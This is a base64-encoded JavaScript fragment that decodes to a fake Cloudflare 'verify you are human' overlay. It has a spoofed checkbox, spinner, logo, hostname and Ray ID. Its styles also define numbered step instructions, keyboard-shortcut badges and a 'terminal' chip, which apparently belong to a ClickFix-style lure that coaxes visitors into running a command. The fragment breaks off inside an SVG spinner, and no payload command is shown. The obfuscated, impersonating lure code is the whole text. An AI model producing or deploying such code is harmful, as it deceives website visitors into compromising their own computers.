kYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKENMT1VERkxBUkVfRlVMTF9MT0dPX1NWRyk7DQogICAgICAgIHZhciBDTE9VREZMQVJFX1dISVRFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoDQogICAgICAgICAgICBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcucmVwbGFjZSgnLmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ30nLCAnLmR7ZmlsbDojZmZmfScpDQogICAgICAgICk7DQoNCiAgICAgICAgdmFyIERJU1BMQVlfSE9TVE5BTUUgPSBDVVNUT01fRE9NQUlOIHx8ICh3aW5kb3cubG9jYXRpb24gJiYgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lKSB8fCAnY2xvdWRmbGFyZS5jb20nOw0KICAgICAgICB2YXIgUkFZX1RSQUNLSU5HX0lEID0gJ2Q4ZmMyNmZiM2M4YWU0OWEnOw0KDQogICAgICAgIHZhciBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgICAgICBzdHlsZUVsZW1lbnQuaWQgPSAnYnctY2Ytc3R5bGUnOw0KDQogICAgICAgIHN0eWxlRWxlbWVudC50ZXh0Q29udGVudCA9ICcjYnctY2Ytcm9vdHtwb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7cmlnaHQ6MCAhaW1wb3J0YW50O2JvdHRvbTowICFpbXBvcnRhbnQ7d2lkdGg6MTAwdncgIWltcG9ydGFudDtoZWlnaHQ6MTAwdmggIWltcG9ydGFudDttaW4td2lkdGg6MTAwdncgIWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoICFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUgIWltcG9ydGFudDttYXgtaGVpZ2h0Om5vbmUgIWltcG9ydGFudDttYXJnaW46MCAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCAhaW1wb3J0YW50O3RyYW5zZm9ybTpub25lICFpbXBvcnRhbnQ7ei1pbmRleDoyMTQ3NDgzNjQ3ICFpbXBvcnRhbnQ7YmFja2dyb3VuZDojMjIyO2NvbG9yOiNkOWQ5ZDk7b3ZlcmZsb3c6YXV0bztmb250LWZhbWlseTpzeXN0ZW0tdWksLWFwcGxlLXN5c3RlbSwiU2Vnb2UgVUkiLFJvYm90byxBcmlhbCxzYW5zLXNlcmlmICFpbXBvcnRhbnQ7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O2ZvbnQtc2l6ZToxNnB4ICFpbXBvcnRhbnQ7bGluZS1oZWlnaHQ6MS41O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O3VuaWNvZGUtYmlkaTppc29sYXRlICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290ICp7Ym94LXNpemluZzpib3JkZXItYm94ICFpbXBvcnRhbnQ7bWFyZ2luOjA7cGFkZGluZzowO30nKycjYnctY2Ytcm9vdCAubWFpbi1jb250ZW50e21hcmdpbjo4ZW0gYXV0bztwYWRkaW5nOjAgMS41ZW07bWF4LXdpZHRoOjYwZW07d2lkdGg6MTAwJTt9JysnI2J3LWNmLXJvb3QgLmgxe2xpbmUtaGVpZ2h0OjEuNDtmb250LXNpemU6Mi41ZW07Zm9udC13ZWlnaHQ6NTAwO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjAuNzVlbTtjb2xvcjojZmZmO30nKycjYnctY2Ytcm9vdCAuaDJ7bGluZS1oZWlnaHQ6MS41O2ZvbnQtc2l6ZToxLjVlbTtmb250LXdlaWdodDo0MDA7Y29sb3I6I2QxZDFkMTttYXJnaW4tdG9wOjAuM2VtO30nKycjYnctY2Ytcm9vdCAuaGVhZGluZy1mYXZpY29ue2hlaWdodDoxZW07d2lkdGg6YXV0bzt9JysnI2J3LWNmLXJvb3QgLmNvcmUtbXNne2xpbmUtaGVpZ2h0OjEuNjtmb250LXNpemU6MS41ZW07Zm9udC13ZWlnaHQ6NDAwO2NvbG9yOiNkMWQxZDE7bWFyZ2luLXRvcDoyLjVlbTt9JysnI2J3LWNmLXJvb3QgLndpZGdldC1zcGFjZXJ7bWFyZ2luOjIuNWVtIDA7fScrJyNidy1jZi1yb290IC5jaGVja2JveC13aW5kb3d7Ym94LXNpemluZzpib3JkZXItYm94O2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47YWxpZ24taXRlbXM6c3RyZXRjaDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2JvcmRlcjoxcHggc29saWQgIzc5Nzk3OTtiYWNrZ3JvdW5kLWNvbG9yOiMyMzIzMjM7aGVpZ2h0Ojc4cHg7dXNlci1zZWxlY3Q6bm9uZTtwYWRkaW5nOjAgMTZweDt3aWR0aDoxMDAlO21heC13aWR0aDozMjBweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjt3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NzhweDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjtnYXA6N3B4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LWNvbnRhaW5lcnt3aWR0aDozMHB4O2ZsZXg6MCAwIDMwcHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3Bvc2l0aW9uOnJlbGF0aXZlO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3h7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXItcmFkaXVzOjNweDtib3JkZXI6MnB4IHNvbGlkICNkYWRhZGE7YmFja2dyb3VuZDojMjMyMzIzO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6YmxvY2s7b3V0bGluZTpub25lO3BhZGRpbmc6MDstd2Via2l0LWFwcGVhcmFuY2U6bm9uZTthcHBlYXJhbmNlOm5vbmU7dHJhbnNpdGlvbjpib3JkZXItY29sb3IgLjJzO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3g6aG92ZXJ7Ym9yZGVyLWNvbG9yOiNmYmFkNDE7fScrJyNidy1jZi1yb290IC50ZXR0eHtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO21pbi1oZWlnaHQ6MzBweDtmbGV4OjE7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAudGV0dHggcHttYXJnaW46MCAhaW1wb3J0YW50O2xpbmUtaGVpZ2h0OjE7Zm9udC1zaXplOjE0cHg7Y29sb3I6I2ZmZjtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGR7ZGlzcGxheTppbmxpbmUtZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47dGV4dC1hbGlnbjpyaWdodDthbGlnbi1pdGVtczpmbGV4LWVuZDtmbGV4LXNocmluazowO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIGltZ3t3aWR0aDo5MHB4O21hcmdpbi1ib3R0b206NHB4O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIHB7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO21hcmdpbjowICFpbXBvcnRhbnQ7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3Bpbm5lci13cmFwe2Rpc3BsYXk6bm9uZTt3aWR0aDozMnB4O2hlaWdodDozMnB4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO30nKycjYnctY2Ytcm9vdCAuY2std3JhcHtkaXNwbGF5Om5vbmU7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlcntwb3NpdGlvbjpmaXhlZDtib3R0b206MDtsZWZ0OjA7cmlnaHQ6MDtwYWRkaW5nOjFlbSAxLjVlbTt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MWVtIDA7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOi43NWVtO30nKycjYnctY2Ytcm9vdCAucmN7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvd3twb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7d2lkdGg6MTAwJSAhaW1wb3J0YW50O2hlaWdodDoxMDAlICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC43KTtkaXNwbGF5Om5vbmU7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7ei1pbmRleDoyMTQ3NDgzNjQ4ICFpbXBvcnRhbnQ7b3BhY2l0eTowO3RyYW5zaXRpb246b3BhY2l0eSAuM3MsdmlzaWJpbGl0eSAuM3M7fScrJyNidy1jZi1yb290IC52ZXJpZnktd2luZG93LmFjdGl2ZXtkaXNwbGF5OmZsZXg7b3BhY2l0eToxO30nKycjYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiMyYjJiMmI7Ym9yZGVyLXJhZGl1czo4cHg7bWF4LXdpZHRoOjQyMHB4O3dpZHRoOjkwJTtvdmVyZmxvdzpoaWRkZW47dHJhbnNmb3JtOnNjYWxlKC45NSk7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgLm1vZGFsLWNvbnRlbnR7dHJhbnNmb3JtOnNjYWxlKDEpO30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVye2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLCNmMzgwMjAsI2U5YTMzZik7cGFkZGluZzoxcmVtIDEuNXJlbTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlciBoMntmb250LXNpemU6MWVtO21hcmdpbjowICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo2MDA7fScrJyNidy1jZi1yb290IC5tb2RhbC1oZWFkZXIgcHtmb250LXNpemU6Ljc1ZW07bWFyZ2luOi4xZW0gMCAwICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtvcGFjaXR5Oi45O30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVyIGltZ3toZWlnaHQ6NDBweDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWJvZHl7cGFkZGluZzoxLjI1ZW07ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuaW5zdHJ1Y3Rpb24tbGlzdHtsaXN0LXN0eWxlOm5vbmU7cGFkZGluZzowICFpbXBvcnRhbnQ7bWFyZ2luOjAgMCAxLjI1ZW0gIWltcG9ydGFudDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2dhcDowLjg1ZW07fScrJyNidy1jZi1yb290IC5pbnN0cnVjdGlvbi1saXN0IGxpe2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Z2FwOjFlbTtwYWRkaW5nOjFlbSAxLjFlbSAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDI1NSwyNTUsMjU1LC4wNyk7Ym9yZGVyLWxlZnQ6MnB4IHNvbGlkICNmMzgwMjA7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuc3RlcC1sZWZ0e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOi43NWVtO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtYmFkZ2V7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3dpZHRoOjIycHg7aGVpZ2h0OjIycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCNmMzgwMjAsI2U5YTMzZik7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo3MDA7Zm9udC1zaXplOjExcHg7Ym9yZGVyLXJhZGl1czo1MCU7ZmxleDowIDAgYXV0bzt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dHtjb2xvcjojZmZmO2ZvbnQtc2l6ZToxM3B4O30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjIpO2NvbG9yOiNmNTkwNDA7cGFkZGluZzoycHggOHB4O2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnQ7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxMS41cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW46MCAycHg7Ym94LXNoYWRvdzpub25lO3RyYW5zaXRpb246YmFja2dyb3VuZCAuMTVzLGNvbG9yIC4xNXMsdHJhbnNmb3JtIC4xMnM7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuNDUpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojZmZiODcwO2JveC1zaGFkb3c6bm9uZTt0cmFuc2Zvcm06c2NhbGUoMC45NSk7fScrJyNidy1jZi1yb290IC5zdGVwLXRleHQgYntwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp2aXNpYmxlO30nKycjYnctY2Ytcm9vdCAud2staGludHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTdweDtyaWdodDotOXB4O3dpZHRoOjE0cHg7aGVpZ2h0OjE0cHg7YmFja2dyb3VuZDpyZ2JhKDgzLDE1NSwyNDUsLjg1KTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NTAlO2ZvbnQtc2l6ZTo4LjVweDtjdXJzb3I6aGVscDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Zm9udC13ZWlnaHQ6ODAwO2ZvbnQtZmFtaWx5OnN5c3RlbS11aSxzYW5zLXNlcmlmO2xpbmUtaGVpZ2h0OjE7ei1pbmRleDozO2JvcmRlcjoxcHggc29saWQgcmdiYSg4MywxNTUsMjQ1LC40KTtsZXR0ZXItc3BhY2luZzowO30nKycjYnctY2Ytcm9vdCAud2stdG9vbHRpcHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7dG9wOmNhbGMoMTAwJSArIDZweCk7bGVmdDowO2JhY2tncm91bmQ6IzEzMWMzNTtjb2xvcjojYzhkNmY4O2JvcmRlcjoxcHggc29saWQgcmdiYSg5MCwxMzcsMjI2LC4zNSk7Ym9yZGVyLXJhZGl1czo3cHg7cGFkZGluZzo4cHggMTFweDtmb250LXNpemU6MTEuNXB4O3doaXRlLXNwYWNlOm5vcm1hbDt3aWR0aDoyMThweDt6LWluZGV4OjIwO3BvaW50ZXItZXZlbnRzOm5vbmU7Zm9udC1mYW1pbHk6c3lzdGVtLXVpLHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6NDAwO2JveC1zaGFkb3c6MCA2cHggMThweCByZ2JhKDAsMCwwLC41KTtsaW5lLWhlaWdodDoxLjQ1O2ZvbnQtc3R5bGU6bm9ybWFsO2xldHRlci1zcGFjaW5nOjA7fScrJyNidy1jZi1yb290IC53ay1oaW50OmhvdmVyIC53ay10b29sdGlwe2Rpc3BsYXk6YmxvY2s7fScrJyNidy1jZi1yb290IC5rZXktY29tYm97ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NHB4O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMik7cGFkZGluZzozcHggNnB4O2JvcmRlci1yYWRpdXM6NHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3Qga2Jke2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7bWluLXdpZHRoOjI2cHg7aGVpZ2h0OjI2cHg7cGFkZGluZzowIDVweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxNDVkZWcsIzJkMmQyZCwjMWExYTFhKTtib3JkZXI6MXB4IHNvbGlkICM0NDQ7Ym9yZGVyLXJhZGl1czo0cHg7Ym94LXNoYWRvdzowIDFweCAwICMwYTBhMGE7Y29sb3I6I2ZmZjtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjExcHg7Zm9udC13ZWlnaHQ6NjAwO3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmtleS1jb21ibyAucGx1c3tjb2xvcjojODg4O2ZvbnQtc2l6ZToxMnB4O30nKycjYnctY2Ytcm9vdCAua2V5LWNvbWJvIC5oaW50e2NvbG9yOiNmMzgwMjA7Zm9udC1zaXplOjE0cHg7bWFyZ2luLWxlZnQ6MnB4O30nKydAbWVkaWEocHJlZmVycy1jb2xvci1zY2hlbWU6bGlnaHQpeyNidy1jZi1yb290e2JhY2tncm91bmQ6I2ZmZiAhaW1wb3J0YW50O2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5oMXtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuY29yZS1tc2d7Y29sb3I6IzQ0NDt9I2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wLWNvbG9yOiNkZGQ7Y29sb3I6Izc3Nzt9I2J3LWNmLXJvb3QgLmNoZWNrYm94LXdpbmRvd3tib3JkZXItY29sb3I6I2QxZDFkMTtiYWNrZ3JvdW5kLWNvbG9yOiNmOWY5Zjk7fSNidy1jZi1yb290IC5jaGVja2JveHtib3JkZXItY29sb3I6I2FhYTtiYWNrZ3JvdW5kOiNlZWU7fSNidy1jZi1yb290IC50ZXR0eCBwe2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGQgcHtjb2xvcjojNTU1O30jYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiNmZmY7fSNidy1jZi1yb290IC5zdGVwLXRleHR7Y29sb3I6IzIyMjt9I2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBie2JhY2tncm91bmQ6cmdiYSgyNDMsMTI4LDMyLC4xNSk7Y29sb3I6I2IwNTUwMDtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzpub25lO30jYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuMzIpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojOTA0MDAwO2JveC1zaGFkb3c6bm9uZTt9I2J3LWNmLXJvb3QgLmluc3RydWN0aW9uLWxpc3QgbGl7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4wNCk7fSNidy1jZi1yb290IC53ay1oaW50e2JhY2tncm91bmQ6cmdiYSgzMCw3NCwxODQsLjgpO2JvcmRlci1jb2xvcjpyZ2JhKDMwLDc0LDE4NCwuNCk7fSNidy1jZi1yb290IC53ay10b29sdGlwe2JhY2tncm91bmQ6I2VlZjJmZjtjb2xvcjojMWUzYThhO2JvcmRlci1jb2xvcjpyZ2JhKDYxLDEwNywxOTEsLjM1KTtib3gtc2hhZG93OjAgNHB4IDEycHggcmdiYSgwLDAsMCwuMSk7fX0nKycjYnctY2Ytcm9vdCAudGVybS1jaGlwe2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxMzVkZWcsI2YzODAyMCwjZTlhMzNmKTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NXB4O2ZvbnQtc2l6ZTouOGVtO2ZvbnQtd2VpZ2h0OjcwMDtwYWRkaW5nOjJweCA3cHg7bWFyZ2luLWxlZnQ6NXB4O3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlcntkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmNlbnRlcjtwYWRkaW5nOi43NWVtIDAgMS4yNWVtO30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyIHN2Z3t3aWR0aDo3MnB4O2hlaWdodDphdXRvO21hcmdpbi1ib3R0b206MTBweDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlci1iYXJ7d2lkdGg6MTE2cHg7aGVpZ2h0OjRweDtiYWNrZ3JvdW5kOiNlNWU1ZTU7Ym9yZGVyLXJhZGl1czoycHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi10b3A6NHB4O30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyLWJhci1pbm5lcnt3aWR0aDoyNSU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdHJhbnNwYXJlbnQsI2Y3ODEwMCA0NSUsI2Y3ODEwMCA1NSUsdHJhbnNwYXJlbnQpO2JvcmRlci1yYWRpdXM6MnB4O2FuaW1hdGlvbjpjZkxvYWRCYXIgMS41cyBlYXNlLWluLW91dCBpbmZpbml0ZTt9JysnQGtleWZyYW1lcyBjZkxvYWRCYXJ7MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwMCUpfTUwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCg0MDAlKX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX19JysnQGtleWZyYW1lcyBid0NmU3BpbnswJXt0cmFuc2Zvcm06cm90YXRlKDBkZWcpO30xMDAle3RyYW5zZm9ybTpyb3RhdGUoMzYwZGVnKTt9fScrJ0BrZXlmcmFtZXMgYndDZlB1bHNlezAlLDEwMCV7b3BhY2l0eToxO301MCV7b3BhY2l0eTouNTt9fSc7DQogICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KICAgICAgICB2YXIgcm9vdEVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsNCiAgICAgICAgcm9vdEVsZW1lbnQuaWQgPSAnYnctY2Ytcm9vdCc7DQogICAgICAgIHJvb3RFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGlyJywgJ2x0cicpOw0KICAgICAgICByb290RWxlbWVudC5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmZpeGVkIWltcG9ydGFudDt0b3A6MCFpbXBvcnRhbnQ7bGVmdDowIWltcG9ydGFudDtyaWdodDowIWltcG9ydGFudDtib3R0b206MCFpbXBvcnRhbnQ7d2lkdGg6MTAwdnchaW1wb3J0YW50O2hlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWluLXdpZHRoOjEwMHZ3IWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoIWltcG9ydGFudDttYXgtd2lkdGg6bm9uZSFpbXBvcnRhbnQ7bWF4LWhlaWdodDpub25lIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt6LWluZGV4OjIxNDc0ODM2NDchaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCFpbXBvcnRhbnQ7dHJhbnNmb3JtOm5vbmUhaW1wb3J0YW50Oyc7DQogICAgICAgIHJvb3RFbGVtZW50LmlubmVySFRNTCA9IGANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCI+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoMSI+DQogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIke0NMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2NH0iIGNsYXNzPSJoZWFkaW5nLWZhdmljb24iIGFsdD0iQ2xvdWRmbGFyZSI+DQogICAgICAgICAgICAgICAgICAgIDxzcGFuPiR7RElTUExBWV9IT1NUTkFNRX08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aWRnZXQtc3BhY2VyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtd2luZG93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LXJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJjaGVja2JveCIgaWQ9ImNmLWNiIiBzdHlsZT0iZGlzcGxheTpub25lIj48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3Bpbm5lci13cmFwIiBpZD0iY2Ytc3AiIHN0eWxlPSJkaXNwbGF5OmZsZXgiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHZpZXdCb3g9IjAgMCAzMCAzMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHN0eWxlPSJhbmltYXRpb246YndDZlNwaW4gMS42cyBsaW5lYXIgaW5maW5pdGU7ZGlzcGxheTpibG9jazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iNCIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIxIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iMjIuNzgiIGN5PSI3LjIyIiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii44NzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyNiIgY3k9IjE1IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii43NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjIyLjc4IiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjYyNSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iMjYiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjM3NSIvP